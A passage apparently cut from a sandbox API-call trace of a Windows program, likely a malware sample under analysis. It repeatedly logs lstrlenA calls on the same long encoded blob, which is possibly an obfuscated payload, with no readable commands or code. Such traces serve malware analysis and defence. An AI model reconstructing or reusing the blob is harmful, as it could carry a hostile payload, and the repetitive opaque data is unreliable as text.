YSvtz+ZTFd/KsY0QTwCkMXz8I4rrVYQwplzQUBNSI1mhORqmefty4HpArQnp8yTJw7TnODULcGIYRrl0WEfM22foXv7IDBdVvosGMuabt2IQYRx/sjqA/unJi7Q86VSInEU8Ew548/Gq8awz5QGqoAyjQyMNHMpAAnrKTj+WTuKLOpjHjRcYUEoO6FfJX9+hR4cCh9nDqBn5l3CaD1ntz3PPO5SctrHlOw3433I+lYr+iHD8RzYK0Rd90Uq5XQ8losn/T8pGZKNS0I/sRvQrjEuVWnrjng7s/oMZHzthdWwczeZYv1dh0JGnvGXTvhFNI2xjqjGbNsdG1lnQp7c7JDA4enNFbtEOpKOQVXn67yq2sBLgYgy8JPBKhWcJyfV7+qmV6/ndgN2rH4VKZq3wnWA5TR5CeOkk635kUgJOQh2spzLV5cEJDaJ29L8ip4sIhGc/QNXj3ngjdcHYSwoFjzlN7I0LJkTUiAMqsBq3ymMPoa6rfEknB/aM215QFgHTAKZfeSE+rBTrFyb2Cr6qVcycOec9j91L/jQNXZT9esjhASiArQ+BzNHyY40CJMA4jgkJOxC+dFwzyClV2YM0lMSwODvSgg4fSmwGIA9rQjhalJ9kEfz1rcJZk+OrXz3Vw6UO/b94HF41S7vaIASv0Yars5MrvEsG5Ytc779Q6KNFMx7ZW44j3VBGKwny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0128.362] lstrlenA (lpString="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") returned 5792 [0128.362] lstrlenA (lpString="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") returned 5792 [0128.363] lstrlenA (lpString="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